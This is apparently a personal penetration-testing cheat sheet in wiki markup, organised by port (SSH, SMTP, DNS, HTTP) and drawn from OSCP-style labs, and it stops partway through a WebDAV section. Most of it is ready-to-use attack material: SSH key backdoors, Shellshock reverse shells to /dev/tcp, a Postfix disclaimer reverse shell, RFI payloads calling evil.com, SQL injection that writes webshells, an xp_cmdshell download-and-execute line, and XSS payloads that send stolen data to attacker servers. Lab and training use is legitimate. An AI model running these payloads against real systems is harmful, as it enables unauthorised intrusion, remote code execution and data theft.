# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
